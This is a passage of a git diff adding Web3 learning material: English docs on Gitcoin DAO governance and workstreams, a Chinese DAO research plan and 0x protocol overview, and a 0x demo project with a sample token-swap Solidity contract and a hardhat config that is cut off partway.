+   - **Execution of Results**: Approved proposals are implemented within Gitcoin’s governance system. These may involve adjustments to Gitcoin Grants, fund allocation configurations, or updates to funding strategies.
+
+   **Reference Links**:
+   - [Gitcoin Governance Forum](https://gov.gitcoin.co/)
+   - [Snapshot](https://snapshot.org/)
+
+### 3. Workstreams
+   **Workstreams** are individual working groups within Gitcoin DAO, responsible for specific tasks and project management. Each workstream focuses on distinct areas, such as fund management, community growth, and technical development. Key workstreams include:
+
+   - **FDD (Fraud Detection & Defense)**: Focuses on fraud detection and defense to ensure funding legitimacy and prevent misuse of funds.
+   - **MMM (Memes, Merch, Marketing)**: Manages marketing efforts and brand outreach through social media, merchandise, events, and other activities to amplify Gitcoin’s presence.
+   - **Public Goods Funding**: Manages and allocates funds for public goods, optimizing funding distribution processes to support open-source projects.
+   - **Operations**: Handles Gitcoin DAO’s daily operations, including finance, auditing, and technical support, ensuring smooth governance.
+
+   Each workstream is managed by dedicated team members who are compensated through Gitcoin Grants funds or community contributions. DAO governance proposals determine workstream budgets and staffing.
+
+   **Reference Link**:
+   - [Gitcoin Workstreams](https://gov.gitcoin.co/c/workstream/)
+
+### 4. Quadratic Funding Decisions
+   Quadratic funding is the core mechanism behind Gitcoin’s grants and is also subject to Gitcoin DAO governance. Through community voting, Gitcoin DAO can adjust parameters of the funding rounds, matching pool allocations, and funding strategies. Key governance aspects include:
+
+   - **Matching Pool Allocation**: The community votes on the allocation ratio of matching funds across different categories, such as public goods, infrastructure, and education, ensuring funds reach the most needed areas.
+   - **Funding Strategy Adjustments**: The DAO can modify parameters such as matching calculation methods, minimum donation amounts, and matching limits to adapt to changing community needs.
+   - **Funding Transparency**: All matching pool funds’ sources and allocations are fully transparent, allowing community members to monitor distribution and raise concerns about any irregularities.
+
+   By amplifying the impact of small donations, Gitcoin DAO ensures projects supported by the community receive more funding.
+
+   **Reference Link**:
+   - [Quadratic Funding Overview](https://wtfisqf.com/)
+
+### 5. Community Engagement and Incentives
+   Gitcoin DAO encourages community involvement to create a healthy and active ecosystem. Community participation and incentives include:
+
+   - **Discussions and Voting**: Gitcoin DAO invites GTC holders to raise questions, participate in discussions, initiate proposals, and vote on important issues.
+   - **Incentive Programs**: Active community members can receive GTC incentives for contributions such as engaging in governance discussions or offering innovative suggestions. This further encourages active participation and governance vitality.
+   - **Transparency**: All proposals, votes, and decisions are publicly recorded on-chain, enabling full transparency and allowing the community to monitor and participate in decision-making at all times.
+
+   Gitcoin DAO’s governance structure allows each GTC holder to contribute to community building, actively fostering Web3 ecosystem growth.
+
+   **Reference Link**:
+   - [Community Incentives](https://gitcoin.co/)
+
+### 6. Governance Challenges and Future Outlook
+   Despite Gitcoin DAO’s effective governance structure, it faces several challenges:
+
+   - **Governance Centralization**: Some large GTC holders may have disproportionate voting power, impacting proposal outcomes. The DAO is exploring ways to engage smaller holders to reduce governance centralization.
+   - **Governance Participation**: As proposals increase, declining participation could affect proposal implementation. Gitcoin DAO is experimenting with new incentives to attract more GTC holders to vote and discuss.
+   - **Scalability**: As Gitcoin expands, the DAO must continuously optimize governance processes to ensure efficient, transparent decisions that adapt to the community’s evolving needs.
+
+   **Future Development**: Gitcoin DAO plans to further improve its governance mechanisms and explore decentralized technology to achieve more efficient and transparent community governance.
\ No newline at end of file
diff --git a/dao/gitcoinDAO/Operation.md b/dao/gitcoinDAO/Operation.md
new file mode 100644
index 000000000..37ff69df0
--- /dev/null
+++ b/dao/gitcoinDAO/Operation.md
@@ -0,0 +1,69 @@
+Gitcoin DAO is a decentralized autonomous organization (DAO) dedicated to funding and supporting open-source software and public goods, especially in the blockchain and Web3 ecosystem. Initially established as a platform for supporting open-source developers, Gitcoin evolved into a community-driven DAO with multiple mechanisms to ensure sustainable funding for valuable projects. Below is an in-depth look at how Gitcoin DAO operates.
+
+### 1. Gitcoin Grants
+   **Gitcoin Grants** is the core funding program of Gitcoin DAO, focusing on the sustainable development of open-source projects. It leverages an innovative **Quadratic Funding** mechanism, which allows small contributions from many individuals to have a significant impact on funding allocation. Here’s how it works:
+
+   - **Quadratic Funding Mechanism**: This mechanism amplifies the effect of contributions from a larger number of smaller donors, ensuring that widely-supported projects receive more funding than those backed by only a few large donors.
+   - **Grant Rounds**: Gitcoin Grants typically runs several funding rounds each year, often themed (e.g., public goods, Web3 tooling, educational projects). Funding pools for each round come from Gitcoin DAO’s community donations and partnerships.
+   - **Governance Involvement**: Each grant application undergoes review and discussion in the Gitcoin DAO community before final approval, with voting determining priority funding areas.
+
+   **Reference Links**:
+   - [Gitcoin Grants Overview](https://gitcoin.co/grants/)
+   - [Quadratic Funding Explanation](https://wtfisqf.com/?grant=&donation=10)
+
+### 2. Public Goods Funding
+   **Public Goods Funding** supports projects crucial to the Web3 ecosystem but lacking direct monetization methods. This funding is often directed toward:
+
+   - **Infrastructure**: Such as blockchain infrastructure, libraries, and APIs that ensure network robustness.
+   - **Developer Tools**: Tools that improve developer experience, such as debugging and testing frameworks.
+   - **Educational Resources**: Resources like courses, documentation, and tutorials to increase Web3 knowledge.
+   
+   Gitcoin DAO funds these projects through both **Quadratic Funding** and the **Gitcoin Matching Pool**, where the community and partners can also contribute to a **Public Goods Matching Pool**.
+
+   **Reference Links**:
+   - [Public Goods Funding](https://gitcoin.co/publicgoods)
+
+### 3. Gitcoin Bounties
+   **Gitcoin Bounties** is a bounty system for developers to contribute to various projects. This incentivizes contributions to open-source projects by offering rewards:
+
+   - **Posting Tasks**: Project teams post specific tasks on Gitcoin with attached bounties, which might include new features, bug fixes, or documentation improvements.
+   - **Claiming & Submitting**: Developers claim tasks, complete them, and submit results for review.
+   - **Receiving Payment**: Once the work is approved, Gitcoin smart contracts release the bounty reward to the developer, ensuring transparency.
+   - **Community-Driven**: Gitcoin Bounties allows developers to gain experience and income in the Web3 field through transparent task completion.
+
+   **Reference Links**:
+   - [Gitcoin Bounties Overview](https://gitcoin.co/explorer)
+
+### 4. Kudos & Tips
+   Gitcoin’s **Kudos & Tips** feature lets community members show appreciation for contributions with small gestures:
+
+   - **Kudos**: Virtual badges or NFTs that recognize contributions. Kudos are often limited editions and can be displayed on user profiles.
+   - **Tips**: Tips allow users to send small amounts of funds to others as appreciation, commonly used for minor contributions like bug fixes or documentation improvements.
+   - **Social NFTs**: Kudos enhance Web3 social interaction, allowing users to convey social value and recognition through NFTs.
+
+   **Reference Links**:
+   - [Kudos & Tips Overview](https://gitcoin.co/kudos)
+
+### 5. Kernel Fellowship Program
+   Gitcoin’s **Kernel Fellowship Program** is an 8-week learning and collaboration program that gathers enthusiasts from the Web3 space for knowledge sharing and project building:
+
+   - **Curriculum**: Kernel offers a curriculum crafted by Web3 experts covering crypto-economics, protocol design, and entrepreneurship in Web3.
+   - **Mentorship Network**: The program brings together mentors from Web3 fields who provide technical guidance and strategic advice.
+   - **Project Incubation**: Participants build projects during the program, creating prototypes with mentor support that positively impact the Web3 community.
+   - **Final Showcase**: Graduates showcase their projects, potentially receiving support from Gitcoin Grants or partnerships for further development.
+
+   **Reference Links**:
+   - [Kernel Fellowship Program](https://kernel.community/)
+
+### 6. Hackathons
+   Gitcoin organizes regular **Hackathons** to foster collaboration, innovation, and showcase developer talent. Hackathons often have the following features:
+
+   - **Diverse Themes**: Gitcoin hackathons cover DeFi, NFTs, DAOs, and other Web3 topics, attracting developers from varied backgrounds.
+   - **Incentives and Prizes**: Each hackathon has prize pools funded by Gitcoin’s partners, offering substantial rewards for participants.
+   - **Collaborative Ecosystem**: Gitcoin collaborates with multiple Web3 projects, like Ethereum Foundation, Polygon, and Optimism, providing technical guidance and support to participants.
+   - **Showcasing and Funding Opportunities**: Developers can showcase their work, gaining community support and funding for project growth.
+
+   **Reference Links**:
+   - [Gitcoin Hackathons](https://gitcoin.co/hackathons)
+
+Gitcoin DAO’s operational model exemplifies decentralized governance and community-driven principles, supporting and encouraging innovation in the Web3 ecosystem through a variety of funding mechanisms and community activities.
\ No newline at end of file
diff --git a/dao/gitcoinDAO/README.md b/dao/gitcoinDAO/README.md
new file mode 100644
index 000000000..32237b7cf
--- /dev/null
+++ b/dao/gitcoinDAO/README.md
@@ -0,0 +1,53 @@
+# What is GitcoinDAO
+-   Gitcoin is a [**Decentralized Autonomous Organization**](https://gitcoin.co/quadraticlands/about) governed by the holders of the GTC token.
+-   Token holders [**delegate their votes**](https://gitcoin.co/quadraticlands/about) to a [**trusted steward**](https://gov.gitcoin.co/t/introducing-stewards-governance/41/7). Some choose to self delegate.
+-   The stewards then accept or decline actions by **[voting for proposals](https://snapshot.org/#/gitcoindao.eth)** which pass quorum.
+-   Official proposals and formal conversations on governance can be found on the [**Governance Forum**](https://gov.gitcoin.co/)
+-   Informal conversation about workstreams, and idea sharing happens in [**Discord](http://discord.gg/gitcoin)**
+-   Checkout the [**documentation**](https://github.com/gitcoinco/governance-docs) about the GTC/GitcoinDAO smart contracts.
+-   Want to view the launch version of the GitcoinDAO from 5/25? View the [**Decentralized Quadratic Lands](http://857tp1qb31bkh1ncp6f3vsbb0s.ingress.provider-0.prod.ams1.akash.pub/).**
+
+More info - 
+[GitcoinDAO 101 - workstreams](https://www.youtube.com/watch?v=I7zHXmtvc4k)
+
+# Why GitcoinDAO
+In 2018, I knew [Gitcoin](https://gitcoin.co/) and I was inspired by its [Mission](https://gitcoin.co/mission) - Build and fund the digital public goods. At that time one of the core values is **Give First**. This is the fundamental of public goods (as well community).
+
+So I started to involve in Gitcoin like bounty, tips, kudos etc, in the meantime, I translated some of great posts into Chinese. 
+
+For now there are many opportunities in GitcoinDAO, we need you to build the GitcoinDAO together ;) Find more info in next section.
+
+# How to join GitcoinDAO
+There are 3 steps to join GitcoinDAO (All steps are in [GitcoinDAO](http://gitcoindao.com/)):
+
+Step 1 - Fill in contributor application form from GitconiDAO
+Step 2 - Schedule a 30 minute onboarding call
+Step 3 - Apply to one workstream
+
+Descriptions for workstream, refer to following:
+There are multiple workstreams in [GitcoinDAO](http://gitcoindao.com/), e.g:
+
+- Fraud Detection & Defense (aka FDD) (Disruption Joe)
+- Public Goods (Scott More | Linh Tran)
+- dGrants (Philip Hutch)
+- Moonshot Collective (Ryan)
+- Memes, Merch, Marketing (Fred | Brittney)
+
+I am in FDD workstream, and leading the "user support" sub-stream. So if you are interested in "user support" of GitcoinDAO, please ping me ;)
+
+## User Support of GitcoinDAO
+There are several things in user support:
+
+1. Discord support - we would like to build a world-class discord support team here, any advice and ideas are welcome
+2. Knowledge base 
+3. Ambassador program
+4. Localization and translation
+
+Anything you would like to involve, please ping me.
+
+# useful links
+
+[Gitcoin](https://gitcoin.co/)
+[GitcoinDAO](http://gitcoindao.com/)
+[Gitcoin Governance](https://gov.gitcoin.co/)
+[Quadratic Lands](https://quadraticlands.com/)
diff --git a/dao/gitcoinDAO/Workstream.md b/dao/gitcoinDAO/Workstream.md
new file mode 100644
index 000000000..9195aff36
--- /dev/null
+++ b/dao/gitcoinDAO/Workstream.md
@@ -0,0 +1,70 @@
+Gitcoin DAO’s **workstreams** are specialized groups within the DAO, each focusing on a specific operational area or objective to advance Gitcoin’s mission of funding public goods and supporting open-source projects. These workstreams allow for a decentralized approach to project management, where each group operates with relative autonomy and a designated budget. Here is a closer look at the primary workstreams within Gitcoin DAO, their responsibilities, and how they contribute to the platform's overall goals:
+
+### 1. **FDD (Fraud Detection & Defense)**
+   - **Purpose**: The FDD workstream is dedicated to maintaining the integrity of Gitcoin’s funding mechanisms by detecting and preventing fraud. Since Gitcoin operates a public goods funding platform, there’s a risk of actors attempting to manipulate the system to gain unauthorized access to funds. 
+   - **Responsibilities**:
+     - **Fraud Detection**: Implementing automated tools and manual processes to identify fraudulent activities, such as Sybil attacks or fake grant applications.
+     - **Policy Enforcement**: Defining and enforcing rules for grant eligibility to prevent misuse of funds and protect the community's contributions.
+     - **Data Analysis**: Monitoring grant recipient activities and evaluating risk profiles to flag unusual behavior.
+   - **Significance**: By preventing fraudulent activities, the FDD workstream ensures that resources are used for legitimate public goods projects, which increases community trust and fund efficiency.
+   - **Collaboration**: Works closely with Gitcoin’s data and technical teams to enhance monitoring and improve fraud detection algorithms.
+   
+   **Reference Link**: [Gitcoin FDD Overview](https://gov.gitcoin.co/c/workstream/fdd)
+
+### 2. **MMM (Memes, Merch, Marketing)**
+   - **Purpose**: The MMM workstream manages marketing, branding, and community engagement, focusing on creating a vibrant Gitcoin ecosystem and enhancing Gitcoin’s visibility across social media and other channels.
+   - **Responsibilities**:
+     - **Brand Awareness**: Promoting Gitcoin’s mission of public goods funding through content creation, community outreach, and events.
+     - **Social Media Management**: Building a strong social media presence, creating content that engages the Web3 community, and encouraging users to participate in Gitcoin events.
+     - **Merchandise and Events**: Organizing and distributing branded merchandise to enhance brand visibility and strengthen the Gitcoin community.
+     - **Creative Campaigns**: Launching meme campaigns, contests, and other creative projects to attract and retain community members.
+   - **Significance**: The MMM workstream drives Gitcoin’s community growth and brand identity, helping to foster a sense of belonging and attract new contributors.
+   - **Collaboration**: Works with the Public Goods Funding team to highlight funded projects and success stories, creating positive feedback loops for community participation.
+   
+   **Reference Link**: [Gitcoin MMM Overview](https://gov.gitcoin.co/c/workstream/mmm)
+
+### 3. **Public Goods Funding**
+   - **Purpose**: This workstream is central to Gitcoin’s mission and oversees the allocation of funds to public goods projects, particularly through Gitcoin Grants and matching pool funding.
+   - **Responsibilities**:
+     - **Quadratic Funding Management**: Overseeing the matching pools in Gitcoin Grants, using quadratic funding to amplify the impact of community-driven funding for the most supported projects.
+     - **Funding Allocation**: Deciding how to allocate funds across various categories like open-source infrastructure, community tools, and educational content.
+     - **Policy Development**: Establishing guidelines and processes for grant eligibility and reviewing the impact of funded projects to ensure alignment with Gitcoin’s mission.
+     - **Impact Assessment**: Evaluating and reporting on the effectiveness of funded projects to provide transparency and accountability.
+   - **Significance**: As the core workstream for funding, this team ensures that Gitcoin’s resources are used effectively to advance public goods and that the funding process remains fair and transparent.
+   - **Collaboration**: Works closely with the FDD workstream for fraud prevention and the MMM workstream for promoting funded projects.
+
+   **Reference Link**: [Gitcoin Public Goods Funding Overview](https://gitcoin.co/grants)
+
+### 4. **DAO Operations**
+   - **Purpose**: The Operations workstream handles the daily operations of Gitcoin DAO, ensuring smooth governance processes, financial management, and administrative support.
+   - **Responsibilities**:
+     - **DAO Governance**: Overseeing voting mechanisms, proposal management, and ensuring that the governance process remains accessible to all community members.
+     - **Budget and Resource Allocation**: Managing budgets for all workstreams, allocating resources, and ensuring financial transparency.
+     - **Technical Support**: Providing operational support for platform-related tasks, including contract upgrades, infrastructure maintenance, and tooling improvements.
+     - **Community Onboarding and Support**: Educating new members about Gitcoin DAO’s structure, purpose, and governance processes to encourage active participation.
+   - **Significance**: This workstream ensures that Gitcoin DAO operates efficiently and that governance is clear, organized, and accessible to community members.
+   - **Collaboration**: Works with all workstreams to streamline administrative tasks and support their operational needs.
+
+   **Reference Link**: [Gitcoin DAO Operations Overview](https://gov.gitcoin.co/)
+
+### 5. **Protocol Development and Security**
+   - **Purpose**: This technical workstream is responsible for the development and security of Gitcoin’s protocols, particularly the mechanisms behind grants, governance, and funding distributions.
+   - **Responsibilities**:
+     - **Protocol Upgrades**: Implementing and maintaining upgrades to Gitcoin’s smart contracts, including improvements to governance mechanisms and funding distribution algorithms.
+     - **Security Audits**: Conducting regular security audits to ensure the safety and integrity of the Gitcoin platform, protecting against smart contract vulnerabilities.
+     - **New Feature Development**: Developing new functionalities and tools that support Gitcoin’s mission, such as improvements to the quadratic funding process or integrations with other blockchain platforms.
+     - **Open-Source Collaboration**: Engaging with the broader Web3 development community to align Gitcoin’s technical stack with industry standards.
+   - **Significance**: This workstream maintains the technical robustness of Gitcoin’s protocols, ensuring that the DAO’s infrastructure is secure and can support ongoing growth.
+   - **Collaboration**: Works with the Public Goods Funding team to optimize funding mechanisms and with Operations to implement technical governance improvements.
+
+   **Reference Link**: [Gitcoin Protocol Development Overview](https://gitcoin.co/)
+
+### Workstream Structure and Funding
+   - Each workstream is funded through Gitcoin DAO’s treasury, with budgets approved by GTC token holders. 
+   - Teams submit detailed proposals requesting funding, including objectives, timelines, and projected expenses.
+   - Funding proposals are reviewed and voted on by the community, ensuring that resources are allocated according to community priorities.
+
+### Conclusion
+Gitcoin’s workstream model divides operational responsibilities across specialized teams, which allows the DAO to function efficiently and align resources with its mission of public goods funding. By fostering an ecosystem where workstreams operate independently yet collaboratively, Gitcoin DAO ensures that all aspects of its platform—from fraud prevention to technical development—are managed effectively. 
+
+For further details, you can explore [Gitcoin’s governance forums](https://gov.gitcoin.co/) and [documentation](https://docs.gitcoin.co/) to see active proposals, workstream updates, and community discussions.
\ No newline at end of file
diff --git a/dao/readme.md b/dao/readme.md
new file mode 100644
index 000000000..fa410b6ad
--- /dev/null
+++ b/dao/readme.md
@@ -0,0 +1,61 @@
+## DAO的研究和探索计划
++ 很多朋友说DApp Learning太硬核了，纯技术，无法做更多贡献
++ 其实不然，从11月开始，DL小组推出了 DAO Plan
++ 参与方式：
++ 1.贡献一个链接，简述一个关于DAO的，有价值的内容 [dao-fast-link](dao-fast-link.md)
++ 看到一个，添加一个，很简单
++ 
++ 2.较为深度研究后，添加一个DAO的名称、网站（或DApp网址）、宗旨（概述）[dao-review](DAO-Review/DAO-list.md)
++ 适合有研究劲头的朋友
++ 
++ 3.在FAQ中留下你关于DAO的困惑，或者回答别人的困惑[dao-faq](dao-faq.md)
++ 如果不会贡献，那总有疑问或者诉求吧？
++ 简直是白送pr
+
+## DAO小组Plan
+
+##### 1.小组阶段目标
+
++ 完善DAO目录下一些基本信息
++ 使命：期待用空闲时间，一起探索，为DAO的当下分布、工具链、经济模型、激励方式、业务选择、资金管理、共识协作、产品研发、价值输出、公司结合等方面，摸索出最佳实践，让世界美好一点！
++ 愿景：为Dl小组自身DAO化，为这个 DAO全链路提供探索，构建工具链，做探路先锋，一起 DAO起来！
++ 模式：每位同学两周提交/完善一个dao信息，或者上述更深入贡献。
++ 沟通：两周一次沟通会
+
+##### 2.分工沟通
+
++ 在学习DAO的过程中，除去积累一些基本信息外，还要学习他们的：
++ 工具链、经济模型、激励方式、业务选择、资金管理、共识协作、产品研发、价值输出、公司结合
++ 会建立一个表格，来写入我们的可选，以及讨论未来的选择，例如，用什么做一个链上DAO？在哪个链？
+
+##### 3.正向激励
+
++ 建立积分表（不公开），规则公开，建立人才/需求表，把上述工作拆分为task，例如工具链，拆分为1000分，则
++ 为工具链贡献大约1/10工作成果的，获得100分，完全人工治理，但依赖多签钱包6人组+DAO小组（目前13人），来确定拆分规则、分数，check和确认工作成果占比。
+
+##### 4.未来探讨
+
++ 讨论一下各自想法，大思路一起确认下：
++ 可以法发币，但恪守法规，不是割韭菜思路，是服务于认真做事
++ 可以做产品，为所有其他DAO服务或者其他
++ 可以成立公司，公司是一个支点，是小部分
+
+##### 5.立足产品
+
++ 程序员Geek特性，以及对去中心化的认可，可以让我们有技术，有认知，有理想。
++ 基于此，可以做一个符合web3未来方向，又能脚踏实地的产品
++ 比如为DAO提供一个积分机制，把80%投票权token都fair launch给其他DAO（要讨论）
++ 一起用积分来交换彼此的服务和产品
+
+##### 6.经济模型讨论
+
++ 用task积分来作为基本流通单位，例如，设立twitter转发一次（100粉丝以上），为一个task分数
++ 积分不同，级别不同；积分在手中会burn，燃烧，级别不同，燃烧速率不同。
++ 创世积分由DAO创立而获得的积分，定量。
++ 积分新增发行，本质是依赖于DAO输出的服务和产品以及未来。
++ 另外积分是白纸，有价值的是个人seal和DAO seal合成之后的铸币。
++ DAO和DAO之间，依赖于共同规则和产品对比，例如都认同5000-6000粉丝twitter转发一次的价值1000积分。
++ 都认同建立一个国家的国际社群并活跃度到30（discord，随便写的数字）的价值也是1000积分
++ 大家对共同的服务一起建立积分平均价。
++ 然后各自之间进行一个汇率设置，需要协商，例如smileDAO是普及牙齿预防的公益DAO，他们的价值是在各国宣传从小刷牙，如果某个DAO叫DL DAO，认可smileDAO价值，愿意通过自己task，为这个愿景做出一些贡献，社区内部讨论后，根据对方发行量，发行规模，进行一次汇率授信，有时间、总额度、积分兑换关系等等。
++ 如果smileDAO发了300万积分，DL DAO授信了100万积分，积分兑换关系为3：1，则DL DAO最多付出33.3万积分，帮助smileDAO做一些任务（间接或者直接，可以拿积分去承认DL DAO积分的DAO换取任务）。
diff --git a/defi/0x-protocol/README.md b/defi/0x-protocol/README.md
new file mode 100644
index 000000000..32a8fd8ad
--- /dev/null
+++ b/defi/0x-protocol/README.md
@@ -0,0 +1,64 @@
+# 0x协议
+0x 协议是一个面向以太坊的、开源的去中心化交易协议，该协议旨在作为开放标准和通用构建模块，让开发者可以将其作为底层协议来搭建 DEX 或是有交易功能的 DApp，并聚合这些 DApp 中的流动性。除此之外，0x 协议目前还可以通过 0x API 聚合 Uniswap、Curve 等其他 DEX 协议的流动性。
+
+Website：https://0x.org/
+
+Twitter：https://twitter.com/0xproject
+
+Forum：https://forum.0x.org/
+
+Docs：https://0x.org/docs
+
+Medium：https://blog.0xproject.com/
+
+Github：https://github.com/0xProject
+
+##  原理介绍
+ 在0x系统中，有maker和taker两个角色。
+ maker创建订单，并提供流动性，且可以聚合流动性：
+- On-chain liquidity - DEXs, AMMs (e.g. Uniswap, Curve, Bancor)
+- Off-chain liquidity - Professional Market Makers, 0x's Open Orderbook network
+  taker负责吃单，消费流动性
+
+  ### 0xAPI
+  0x API是允许DeFi开发人员利用0x协议和交易ERC20资产的接口
+  主要有/swap和 /orderbook 接口：
+  - swap  聚合链上和链下流动性，smart order routing 可以在去中心化交易所之间拆单，保证最小滑点。
+  - orderbook 查询0x开放订单的流动性，以及现价单。
+
+  ### 工作原理
+  off-chain relay  on-chain settlement 
+  1. A Maker creates a 0x order which is a json object that adheres to a standard order message format
+  2. The order is hashed, and the Maker signs the order to cryptographically commit to the order they authored.
+  3. The order is shared with counter-parties.
+    - If the Maker of the 0x order already knows their desired counter-party, they can send the order directly (via email, chat, or over-the-counter platform)
+    - If the Maker doesn’t know a counter-party willing to take the trade, they can submit the order to orderbook. 
+  4. 0x API aggregates liquidity across all the sources to surface the best price for the order to the Taker.
+  5. The Taker fills the 0x order by submitting the order and the amount they will fill it for to the blockchain.
+  6. The 0x protocol’s settlement logic verifies the Maker’s digital signature and that all the conditions of the trade are satisfied.
+### Build a Token Swap Dapp With 0x API
+video: https://www.web3.university/tracks/road-to-web3/build-a-blockchain-betting-game
+
+doc: https://docs.0x.org/0x-api-swap/guides/use-0x-api-liquidity-in-your-smart-contracts
+
+**Accessing RFQ liquidity on 0x** 
+APIRequest-for-Quote (“RFQ”) System.
+https://docs.0x.org/0x-api-swap/guides/accessing-rfq-liquidity-on-0x-api
+
+
+### How to Build NFT Exchange in Your DApp
+https://0x.org/docs/0x-swap-api/guides/how-to-build-a-token-swap-dapp-with-0x-api 
+
+### 限价单
+有两种类型的单子： limit order & RFQ order
+https://docs.0x.org/0x-api-orderbook/introduction
+
+### MEV-aware DEX design
+## 参考链接
+- 整体介绍：https://docs.qq.com/doc/DVkxxcElOdE5zcXpF
+- 官方文档：<https://blog.0xproject.com/>
+- github: <https://github.com/0xProject/0x-protocol-specification/blob/master/v2/v2-specification.md#exchange>
+- 0x文档: <https://0x.org/docs/guides/use-0x-api-liquidity-in-your-smart-contracts>
+- video: https://www.web3.university/tracks/road-to-web3/build-a-blockchain-betting-game
+- How to Get 0x and Matcha Data： https://0x.org/docs/developer-resources/how-to-get-0x-and-matcha-data
+
diff --git a/defi/0x-protocol/demo/.gitignore b/defi/0x-protocol/demo/.gitignore
new file mode 100644
index 000000000..1ff92f8e7
--- /dev/null
+++ b/defi/0x-protocol/demo/.gitignore
@@ -0,0 +1,12 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+Lock.js
+
+# Hardhat files
+cache
+artifacts
+
diff --git a/defi/0x-protocol/demo/README.md b/defi/0x-protocol/demo/README.md
new file mode 100644
index 000000000..e5f5f23e9
--- /dev/null
+++ b/defi/0x-protocol/demo/README.md
@@ -0,0 +1,24 @@
+# 0x
+
+## hardhat 
+
+```shell
+npx hardhat help
+npx hardhat test
+REPORT_GAS=true npx hardhat test
+npx hardhat node
+npx hardhat run scripts/deploy.js
+```
+## direct-swap
+https://github.com/0xProject/0x-api-starter-guide-code/blob/master/src/direct-swap.js#L105-L113
+https://0x.org/docs/0x-swap-api/guides/swap-tokens-with-0x-swap-api
+## contract-swap
+
+//todo
+## limit order swap 
+https://github.com/0xProject/0x-starter-project/tree/master/src
+
+
+//todo
+
+## nft marketplace
diff --git a/defi/0x-protocol/demo/contracts/SimpleTokenSwap.sol b/defi/0x-protocol/demo/contracts/SimpleTokenSwap.sol
new file mode 100644
index 000000000..957a439d5
--- /dev/null
+++ b/defi/0x-protocol/demo/contracts/SimpleTokenSwap.sol
@@ -0,0 +1,106 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.9;
+
+// A partial ERC20 interface.
+interface IERC20 {
+    function balanceOf(address owner) external view returns (uint256);
+    function approve(address spender, uint256 amount) external returns (bool);
+    function transfer(address to, uint256 amount) external returns (bool);
+}
+
+// A partial WETH interfaec.
+interface IWETH is IERC20 {
+    function deposit() external payable;
+}
+
+// Demo contract that swaps its ERC20 balance for another ERC20.
+// NOT to be used in production.
+contract SimpleTokenSwap {
+
+    event BoughtTokens(IERC20 sellToken, IERC20 buyToken, uint256 boughtAmount);
+
+    // The WETH contract.
+    IWETH public immutable WETH;
+    // Creator of this contract.
+    address public owner;
+    // 0x ExchangeProxy address.
+    // See https://docs.0x.org/developer-resources/contract-addresses
+    address public exchangeProxy;
+
+    constructor(IWETH _weth, address _exchangeProxy) {
+        WETH = _weth;
+        exchangeProxy = _exchangeProxy;
+        owner = msg.sender;
+    }
+
+    modifier onlyOwner() {
+        require(msg.sender == owner, "ONLY_OWNER");
+        _;
+    }
+
+    // Payable fallback to allow this contract to receive protocol fee refunds.
+    receive() external payable {}
+
+    // Transfer tokens held by this contrat to the sender/owner.
+    function withdrawToken(IERC20 token, uint256 amount)
+        external
+        onlyOwner
+    {
+        require(token.transfer(msg.sender, amount));
+    }
+
+    // Transfer ETH held by this contrat to the sender/owner.
+    function withdrawETH(uint256 amount)
+        external
+        onlyOwner
+    {
+        payable(msg.sender).transfer(amount);
+    }
+
+    // Transfer ETH into this contract and wrap it into WETH.
+    function depositETH()
+        external
+        payable
+    {
+        WETH.deposit{value: msg.value}();
+    }
+
+    // Swaps ERC20->ERC20 tokens held by this contract using a 0x-API quote.
+    function fillQuote(
+        // The `sellTokenAddress` field from the API response.
+        IERC20 sellToken,
+        // The `buyTokenAddress` field from the API response.
+        IERC20 buyToken,
+        // The `allowanceTarget` field from the API response.
+        address spender,
+        // The `to` field from the API response.
+        address payable swapTarget,
+        // The `data` field from the API response.
+        bytes calldata swapCallData
+    )
+        external
+        onlyOwner
+        payable // Must attach ETH equal to the `value` field from the API response.
+    {
+        // Checks that the swapTarget is actually the address of 0x ExchangeProxy
+        require(swapTarget == exchangeProxy, "Target not ExchangeProxy");
+
+        // Track our balance of the buyToken to determine how much we've bought.
+        uint256 boughtAmount = buyToken.balanceOf(address(this));
+
+        // Give `spender` an infinite allowance to spend this contract's `sellToken`.
+        // Note that for some tokens (e.g., USDT, KNC), you must first reset any existing
+        // allowance to 0 before being able to update it.
+        require(sellToken.approve(spender, type(uint256).max));
+        // Call the encoded swap function call on the contract at `swapTarget`,
+        // passing along any ETH attached to this function call to cover protocol fees.
+        (bool success,) = swapTarget.call{value: msg.value}(swapCallData);
+        require(success, 'SWAP_CALL_FAILED');
+        // Refund any unspent protocol fees to the sender.
+        payable(msg.sender).transfer(address(this).balance);
+
+        // Use our current buyToken balance to determine how much we've bought.
+        boughtAmount = buyToken.balanceOf(address(this)) - boughtAmount;
+        emit BoughtTokens(sellToken, buyToken, boughtAmount);
+    }
+}
\ No newline at end of file
diff --git a/defi/0x-protocol/demo/hardhat.config.js b/defi/0x-protocol/demo/hardhat.config.js
new file mode 100644
index 000000000..ad11ef7b2
--- /dev/null
+++ b/defi/0x-protocol/demo/hardhat.config.js
@@ -0,0 +1,57 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: '0.8.17',
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    goerli: {
+      url: 'https://goerli.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://eth-mainnet.g.alchemy.com/v2/' + process.env.ALCHEMY, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    arbitest: {
+      url: 'https://arbitrum-rinkeby.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    matic: {
